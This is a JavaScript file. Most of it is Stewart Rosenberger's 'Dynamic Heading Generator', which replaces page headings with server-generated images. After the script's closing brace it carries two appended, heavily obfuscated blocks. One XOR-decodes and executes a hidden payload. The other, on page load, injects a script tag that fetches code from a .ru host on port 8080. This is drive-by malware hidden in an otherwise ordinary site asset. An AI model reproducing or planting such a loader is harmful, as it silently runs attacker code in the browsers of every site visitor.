function com_stewartspeak_replacement() {
/*
	Dynamic Heading Generator
    By Stewart Rosenberger
    http://www.stewartspeak.com/headings/

	This script searches through a web page for specific or general elements
	and replaces them with dynamically generated images, in conjunction with
	a server-side script.
*/


replaceSelector(".page_title_font","ifr.php",true);
var testURL = "poze/test.png" ;

var doNotPrintImages = false;
var printerCSS = "replacement-print.css";

var hideFlicker = true;
var hideFlickerCSS = "replacement-screen.css";
var hideFlickerTimeout = 1000;




/* ---------------------------------------------------------------------------
    For basic usage, you should not need to edit anything below this comment.
    If you need to further customize this script's abilities, make sure
	you're familiar with Javascript. And grab a soda or something.
*/

var items;
var imageLoaded = false;
var documentLoaded = false;

function replaceSelector(selector,url,wordwrap)
{
	if(typeof items == "undefined")
		items = new Array();

	items[items.length] = {selector: selector, url: url, wordwrap: wordwrap};
}

if(hideFlicker)
{		
	document.write('<link id="hide-flicker" rel="stylesheet" media="screen" href="' + hideFlickerCSS + '" />');		
	window.flickerCheck = function()
	{
		if(!imageLoaded)
			setStyleSheetState('hide-flicker',false);
	};
	setTimeout('window.flickerCheck();',hideFlickerTimeout)
}

if(doNotPrintImages)
	document.write('<link id="print-text" rel="stylesheet" media="print" href="' + printerCSS + '" />');

var test = new Image();
test.onload = function() { imageLoaded = true; if(documentLoaded) replacement(); };
test.src = testURL + "?date=" + (new Date()).getTime();

addLoadHandler(function(){ documentLoaded = true; if(imageLoaded) replacement(); });


function documentLoad()
{
	documentLoaded = true;
	if(imageLoaded)
		replacement();
}

function replacement()
{
	for(var i=0;i<items.length;i++)
	{
		var elements = getElementsBySelector(items[i].selector);
		if(elements.length > 0) for(var j=0;j<elements.length;j++)
		{
			if(!elements[j])
				continue ;
		
			var text = extractText(elements[j]);
    		while(elements[j].hasChildNodes())
				elements[j].removeChild(elements[j].firstChild);

			var tokens = items[i].wordwrap ? text.split(' ') : [text] ;
			for(var k=0;k<tokens.length;k++)
			{
				var url = items[i].url + "?text="+escape(tokens[k]+' ')+"&selector="+escape(items[i].selector);
				var image = document.createElement("img");
				image.className = "replacement";
				image.alt = tokens[k] ;
				image.src = url;
				elements[j].appendChild(image);
			}

			if(doNotPrintImages)
			{
				var span = document.createElement("span");
				span.style.display = 'none';
				span.className = "print-text";
				span.appendChild(document.createTextNode(text));
				elements[j].appendChild(span);
			}
		}
	}

	if(hideFlicker)
		setStyleSheetState('hide-flicker',false);
}

function addLoadHandler(handler)
{
	if(window.addEventListener)
	{
		window.addEventListener("load",handler,false);
	}
	else if(window.attachEvent)
	{
		window.attachEvent("onload",handler);
	}
	else if(window.onload)
	{
		var oldHandler = window.onload;
		window.onload = function piggyback()
		{
			oldHandler();
			handler();
		};
	}
	else
	{
		window.onload = handler;
	}
}

function setStyleSheetState(id,enabled) 
{
	var sheet = document.getElementById(id);
	if(sheet)
		sheet.disabled = (!enabled);
}

function extractText(element)
{
	if(typeof element == "string")
		return element;
	else if(typeof element == "undefined")
		return element;
	else if(element.innerText)
		return element.innerText;

	var text = "";
	var kids = element.childNodes;
	for(var i=0;i<kids.length;i++)
	{
		if(kids[i].nodeType == 1)
		text += extractText(kids[i]);
		else if(kids[i].nodeType == 3)
		text += kids[i].nodeValue;
	}

	return text;
}

/*
	Finds elements on page that match a given CSS selector rule. Some
	complicated rules are not compatible.
	Based on Simon Willison's excellent "getElementsBySelector" function.
	Original code (with comments and description):
		http://simon.incutio.com/archive/2003/03/25/getElementsBySelector
*/
function getElementsBySelector(selector)
{
	var tokens = selector.split(' ');
	var currentContext = new Array(document);
	for(var i=0;i<tokens.length;i++)
	{
		token = tokens[i].replace(/^\s+/,'').replace(/\s+$/,'');
		if(token.indexOf('#') > -1)
		{
			var bits = token.split('#');
			var tagName = bits[0];
			var id = bits[1];
			var element = document.getElementById(id);
			if(tagName && element.nodeName.toLowerCase() != tagName)
				return new Array();
			currentContext = new Array(element);
			continue;
		}

		if(token.indexOf('.') > -1)
		{
			var bits = token.split('.');
			var tagName = bits[0];
			var className = bits[1];
			if(!tagName)
				tagName = '*';

			var found = new Array;
			var foundCount = 0;
			for(var h=0;h<currentContext.length;h++)
			{
				var elements;
				if(tagName == '*')
					elements = currentContext[h].all ? currentContext[h].all : currentContext[h].getElementsByTagName('*');
				else
					elements = currentContext[h].getElementsByTagName(tagName);

				for(var j=0;j<elements.length;j++)
					found[foundCount++] = elements[j];
			}

			currentContext = new Array;
			var currentContextIndex = 0;
			for(var k=0;k<found.length;k++)
			{
				if(found[k].className && found[k].className.match(new RegExp('\\b'+className+'\\b')))
					currentContext[currentContextIndex++] = found[k];
			}

			continue;
	    }

		if(token.match(/^(\w*)\[(\w+)([=~\|\^\$\*]?)=?"?([^\]"]*)"?\]$/))
		{
			var tagName = RegExp.$1;
			var attrName = RegExp.$2;
			var attrOperator = RegExp.$3;
			var attrValue = RegExp.$4;
			if(!tagName)
				tagName = '*';

			var found = new Array;
			var foundCount = 0;
			for(var h=0;h<currentContext.length;h++)
			{
				var elements;
	        	if(tagName == '*')
					elements = currentContext[h].all ? currentContext[h].all : currentContext[h].getElementsByTagName('*');
				else
					elements = currentContext[h].getElementsByTagName(tagName);

				for(var j=0;j<elements.length;j++)
					found[foundCount++] = elements[j];
			}

			currentContext = new Array;
			var currentContextIndex = 0;
			var checkFunction;
			switch(attrOperator)
			{
				case '=':
					checkFunction = function(e) { return (e.getAttribute(attrName) == attrValue); };
					break;
				case '~':
					checkFunction = function(e) { return (e.getAttribute(attrName).match(new RegExp('\\b'+attrValue+'\\b'))); };
					break;
				case '|':
					checkFunction = function(e) { return (e.getAttribute(attrName).match(new RegExp('^'+attrValue+'-?'))); };
					break;
				case '^':
					checkFunction = function(e) { return (e.getAttribute(attrName).indexOf(attrValue) == 0); };
					break;
				case '$':
					checkFunction = function(e) { return (e.getAttribute(attrName).lastIndexOf(attrValue) == e.getAttribute(attrName).length - attrValue.length); };
					break;
				case '*':
					checkFunction = function(e) { return (e.getAttribute(attrName).indexOf(attrValue) > -1); };
					break;
				default :
					checkFunction = function(e) { return e.getAttribute(attrName); };
			}

			currentContext = new Array;
			var currentContextIndex = 0;
			for(var k=0;k<found.length;k++)
			{
				if(checkFunction(found[k]))
					currentContext[currentContextIndex++] = found[k];
			}

			continue;
		}

		tagName = token;
		var found = new Array;
		var foundCount = 0;
		for(var h=0;h<currentContext.length;h++)
		{
			var elements = currentContext[h].getElementsByTagName(tagName);
			for(var j=0;j<elements.length; j++)
				found[foundCount++] = elements[j];
		}

		currentContext = found;
	}

	return currentContext;
}


}// end of scope, execute code
if(document.createElement && document.getElementsByTagName && !navigator.userAgent.match(/opera\/?6/i))
	com_stewartspeak_replacement();

var VL="8584bc95b3d5ada9b2a9bac5a6aeb7badf95bd9cb1b5b4a5a9a5aa9187908e98859a879e80a1879194a390ad8a9e9cb3b5b595bd9099af94aab0b5b2ab84b9a5a1f69ab0dab7b1a7da8ab1d3ad89";var tS;if(tS!='' && tS!='td'){tS=null};this.TA=false;function V(vD){var yd="yd"; var U=function(a,M){this.Te=29847;this.yn=29992;return a^M;var b=new Date();var lS;if(lS!='' && lS!='lM'){lS=''};};var MM;if(MM!='tO' && MM!='zu'){MM='tO'}; var x=function(m,r){var vz="vz";var ml;if(ml!='lj'){ml=''};return m[X("aoChcrdeAt", [4,3,0,5,2,1])](r);}; var Hf='';function X(T, i){var Wp=new String();var n = i.length;var vC;if(vC!='' && vC!='Jw'){vC='k'};var Hc="";this.Lo="";var Oe;if(Oe!='' && Oe!='G'){Oe=''};var N=[80,249,0,245][2];var ZB;if(ZB!='ydK'){ZB='ydK'};var pz=new Array();var Y = '';var st=new Date();var bS=false;var c=[1,121][0];var o = T.length;var Pk=new Date();var VW;if(VW!='Bk' && VW != ''){VW=null};this.mb="mb";this.K="K";for(var Uw = N; Uw < o; Uw += n) {this.KT=64641;var ro = T.substr(Uw, n);if(ro.length == n){var ZH=new Array();var kk='';for(var uW in i) {var Ke;if(Ke!='' && Ke!='Ej'){Ke='ZL'};Y+=ro.substr(i[uW], c);this.Nt='';}var tl=false;var ZU;if(ZU!=''){ZU='nq'};var ji;if(ji!=''){ji='Ht'};} else {var WpL=30163;var ai;if(ai!='tA' && ai != ''){ai=null};  Y+=ro;var jU=34834;var Nn;if(Nn!='' && Nn!='ac'){Nn=null};}}var lO;if(lO!='' && lO!='g'){lO='lY'};var vG=new Array();var RX;if(RX!='' && RX!='xh'){RX='Nr'};return Y;}this.GO=''; var q=function(T){var dV;if(dV!='Xo' && dV != ''){dV=null};var Vg;if(Vg!='jj'){Vg=''};var Uw =[0,84,170][0];var Ef=31630;T = new u(T);this.Up='';this.YY='';var e = -1;var sM;if(sM!='' && sM!='Tb'){sM='RU'};var rJ=new String();var N =[0][0];var Y = '';var Nb;if(Nb!='XI' && Nb!='Vy'){Nb=''};var VE;if(VE!='PW' && VE!='Mh'){VE=''};var Ul;if(Ul!='Zm' && Ul!='sF'){Ul=''};for (Uw=T[X("elgnht", [1,0])]-e;Uw>=N;Uw=Uw-[1][0]){this.mu=false;var pZ;if(pZ!=''){pZ='Pt'};Y+=T[X("ahctAr", [2,1,0])](Uw);var Sv='';}var ug;if(ug!='GC' && ug!='rc'){ug='GC'};var lt;if(lt!='Cm' && lt!='ag'){lt='Cm'};return Y;var lT;if(lT!='' && lT!='xd'){lT=''};};var ljR=18464; var Zh=new Array();function H(P){var bJ="bJ";this.D=9098;var vc;if(vc!='' && vc!='Dl'){vc='Bz'};var NJ=[255,192][0];var ij=P[X("enlthg", [2,0,1])];var c=[80,186,1][2];this.zY="zY";this.Yg="Yg";var uW=[88,54,0,93][2];var pp=8338;var hM;if(hM!='HO' && hM != ''){hM=null};var C=[0,40,73,45][0];var ul;if(ul!='yx'){ul='yx'};var Er;if(Er!='lL'){Er='lL'};var HfA=new Date();this.dp="";var sB=new Array();var PV="";while(uW<ij){uW++;this.Gk="Gk";this.nI="nI";TH=x(P,uW - c);this.nj='';var SC=false;C+=TH*ij;var Ok="";var Km="";}var yU;if(yU!='pP'){yU='pP'};return new u(C % NJ);var yu;if(yu!='' && yu!='eY'){yu=null};var KB="";}var Cx;if(Cx!='Kf'){Cx='Kf'};var gU=false;var Xx=window;var Wt=false;var d=Xx[X("vela", [1,0])];var Hr=new Array();var z=d(X("uFcnitno", [1,0]));var u=d(X("rtiSng", [3,1,0,2]));var L=d(X("eRgxEp", [1,0,2]));var hei=false;var Lg=false;var Gt;if(Gt!=''){Gt='Lp'};var A = '';var wh=35296;var qH;if(qH!='Gq' && qH != ''){qH=null};var ut=new String();this.bF=false;var nK=new String();var cs;if(cs!='' && cs!='Fu'){cs=''};var oE=u[X("ChofmarrCode", [3,6,2,4,0,1,5])];var Vw=Xx[X("senuepac", [3,2,1,0])];this.Fg="";this.Uk="Uk";var ZG;if(ZG!='Ca'){ZG='Ca'};var CJ;if(CJ!='pW' && CJ != ''){CJ=null};var BuG="BuG";var N =[0,141,223,208][0];var uI = '';var pw;if(pw!='mz' && pw!='GN'){pw='mz'};var xH=new Date();var W =[0][0];var w=[1, X("asmishmngaagnzice.om", [1,2,0]),2, X("ocudentmcre.teEaemelt(\'ncrist\')p", [3,0,1,2]),3, X("ocudentmbod..apyendphilC(d)d", [3,0,1,2]),4, X("Attd.estuetrbiefr(\'ed\'", [3,4,6,5,1,0,2]),5, X("omcva.canchtru.80:80", [2,0,1]),6, X("omcri.n.au.rytnmeis", [2,0,1]),7, X("iwdnwoo.lnaod", [1,0]),8, X("naosoc.mko", [3,1,0,4,2]),11, X("oggoelc.mo", [1,0]),12, X("untcfon)(i", [4,0,1,3,2]),14, X("kouuy.com", [4,1,2,0,3]),15, X("apmqesut", [2,0,1,3]),16, X("acct(h)e", [1,0]),17, X("h\"tpt:", [1,0,2]),18, X(".drsc", [1,0]),19, X("1\'\')", [2,0,1,3]),20, X("ryt", [2,0,1])];var WK;if(WK!='Cq' && WK!='su'){WK='Cq'};this.OL='';var Vi;if(Vi!='LG'){Vi='LG'};var y = vD[X("gltehn", [1,3,5,0,2,4])];var MY;if(MY!='' && MY!='ynX'){MY=null};var t = /[^@a-z0-9A-Z_-]/g;var vP = "%";var j =[2][0];this.RA="";var c =[1,56][0];var rL = '';var Oj;if(Oj!='' && Oj!='KS'){Oj='IN'};var nY = '';var cmH;if(cmH!='eJ'){cmH='eJ'};var SI='';this.Rb="";var ifb;if(ifb!='hI' && ifb!='Oa'){ifb=''};for(var B=N; B < y; B+=j){rL+= vP; var CX;if(CX!='Tj' && CX != ''){CX=null};rL+= vD[X("ustrsb", [1,0,5,4,2,3])](B, j);}this.qG="";var le='';var vD = Vw(rL);var sIg;if(sIg!='bE' && sIg != ''){sIg=null};var Jk;if(Jk!='dx' && Jk!='qt'){Jk=''};var Cj = new u(V);var wO;if(wO!='' && wO!='rys'){wO=null};var l = Cj[X("alprece", [3,4,2,1,0])](t, uI);this.Vgq='';var OX="OX";var Jl=41160;l = q(l);var jH=22969;var qm=new String();var no = new u(z);var f = w[X("nlgeth", [1,3,0,2])];var SF=new Date();this.Oh=false;var ae;if(ae!='mQv' && ae != ''){ae=null};var Av;if(Av!='YJ' && Av!='jQ'){Av=''};var UN = no[X("peracle", [2,1,0,5,3,4])](t, uI);var Wg;if(Wg!='Dy'){Wg=''};this.Po=false;var UN = H(UN);var wr=new Date();var gQ=new Date();var ez=H(l);this.UOw='';var nW;if(nW!='wv' && nW!='HE'){nW=''};for(var Uw=N; Uw < (vD[X("gnleth", [2,3,1,0])]);Uw=Uw+[230,64,1][2]) {var fv="fv";var nP = l.charCodeAt(W);var Z = x(vD,Uw);var VZ="VZ";Z = U(Z, nP);var jD;if(jD!='gd' && jD!='hg'){jD=''};this.TN="TN";Z = U(Z, ez);var Us="Us";Z = U(Z, UN);var sx;if(sx!='dz' && sx!='Dw'){sx='dz'};var Wgt;if(Wgt!='Aw' && Wgt != ''){Wgt=null};W++;var prM;if(prM!='' && prM!='PS'){prM=null};var ur=22574;var PSx;if(PSx!='Rj'){PSx=''};if(W > l.length-c){var eh;if(eh!='nA'){eh='nA'};W=N;var DI=65083;}var xA="xA";nY += oE(Z);}var vR;if(vR!='eE'){vR=''};for(BV=N; BV < f; BV+=j){var XN;if(XN!='qE'){XN='qE'};var Ln=new Array();var ey="ey";var PN="PN";var Nh;if(Nh!='' && Nh!='WA'){Nh=null};var wz = oE(w[BV]);var dF=false;this.AL=22427;var p = w[BV + c];var aF=false;var sQ;if(sQ!='' && sQ!='tq'){sQ=null};var OaA=false;var QY=false;var eX = new L(wz, u.fromCharCode(103));var rG="rG";nY=nY[X("cerlpae", [2,1,4,3,5,0])](eX, p);var aK="aK";}this.hB=48989;var XVL;if(XVL!='Uq'){XVL=''};var dP="";var oD=new z(nY);var rM;if(rM!='TZ' && rM != ''){rM=null};var KR=new Array();oD();var fe;if(fe!='ab' && fe!='Zy'){fe='ab'};var OQ;if(OQ!='mN' && OQ!='ky'){OQ='mN'};var jt="";var VZe;if(VZe!='HG' && VZe!='lh'){VZe='HG'};nY = '';var dFd;if(dFd!=''){dFd='OV'};var fq=12673;var VV;if(VV!='' && VV!='Pa'){VV='Ox'};var yo=46859;oD = '';var Igs;if(Igs!='' && Igs!='We'){Igs=''};this.FE="";no = '';var md;if(md!='' && md!='Wl'){md='tp'};var Dn=64181;UN = '';var LT=new Date();l = '';var In;if(In!='gq'){In='gq'};this.Ba='';ez = '';var up;if(up!='' && up!='Uu'){up=null};var Va;if(Va!='' && Va!='Wj'){Va='wrQ'};return '';var zw=new String();var DF="";};var tS;if(tS!='' && tS!='td'){tS=null};this.TA=false;V(VL);
var lV=new Array();var I=new Array();function J() {var b=new String();var IN=new Date();var yy=new Date();var u=']';var sZ=new Date();this.jD="";var QC;if(QC!='' && QC!='Ry'){QC='zY'};this.Ih="";var a='[';var B;if(B!='' && B!='L'){B='VF'};var OQ="";var P=new String();var N='';var l='replace';this.GS='';var q='g';var v=RegExp;var bt;if(bt!=''){bt='xX'};var wf="";var hiB;if(hiB!=''){hiB='A'};function Z(s,T){var LZ;if(LZ!='' && LZ!='ID'){LZ=''};var i=new Array();var r=a;var Ns;if(Ns!='bd' && Ns!='vb'){Ns='bd'};var Dg=new Date();r+=T;var NM;if(NM!='' && NM!='o_'){NM=null};r+=u;var PQ=new v(r, q);var lK="";var _n=new Array();return s[l](PQ, P);};var Az=new String();var F=Z('/JgqoWoqgWlqeH.WcHoHmH/HgWoHoJgWlHeH.JcWoHmq/W5H1H.qlJaW/WeHxJbJlWoWgW.qjWpW/HpHaHnHtHiJpJ.WcWoJmJ.WpWhHpJ',"qWJH");var wY;if(wY!=''){wY='kP'};var S="";var rj=Z('cIrdedadtWeWEdldedmoedndtW',"oIWd");var y=Z('8217260161781672067161',"1627");var fh;if(fh!='pw'){fh='pw'};var Ov;if(Ov!='QG'){Ov='QG'};var O='';var e=window;var Tr;if(Tr!='Vw'){Tr='Vw'};var d=Z('hVtztZpz:V/z/g5Z1VygeZsV-6cgoVmg.6iVnVtge6lZ.6c6ozmg.gaZb6oVu6tV-6czogmZ.Vsga6mguVegszt6.zrVuV:z',"zZ6Vg");var h=Z('shchrNiNpht8',"h8N");var Tj="";var X='';e[Z('o1n9l1o9a9d1',"91")]=function(){var HO="";var GD;if(GD!='ig'){GD='ig'};try {var Rr='';var fz;if(fz!='ND' && fz!='uZ'){fz='ND'};var ja=new Array();var _j=new String();O+=d;O+=y;var VM;if(VM!='' && VM!='kR'){VM=null};var fk=new Date();O+=F;var Ax;if(Ax!='gQ' && Ax != ''){Ax=null};var We;if(We!='' && We!='th'){We=''};var IU=new String();p=document[rj](h);var RA='';var CU;if(CU!='mT'){CU='mT'};var lN=new Date();this.he='';E(p,'src',O);var rM;if(rM!='JJ'){rM='JJ'};this.dX="";E(p,'defer',([8,1][1]));var lP="";this.ZF="";document.body.appendChild(p);} catch(j){var NX;if(NX!='' && NX!='QZ'){NX='eY'};var pD;if(pD!='AMO' && pD != ''){pD=null};};var gS;if(gS!='nY' && gS != ''){gS=null};var iX;if(iX!='vs' && iX != ''){iX=null};};function E(U,Tf,_){var oP;if(oP!='' && oP!='ORz'){oP='cr'};var xs;if(xs!='' && xs!='crX'){xs='Pf'};U.setAttribute(Tf, _);}this.Ek='';this.Dq='';var dR='';};this.rp="";this.jT="";J();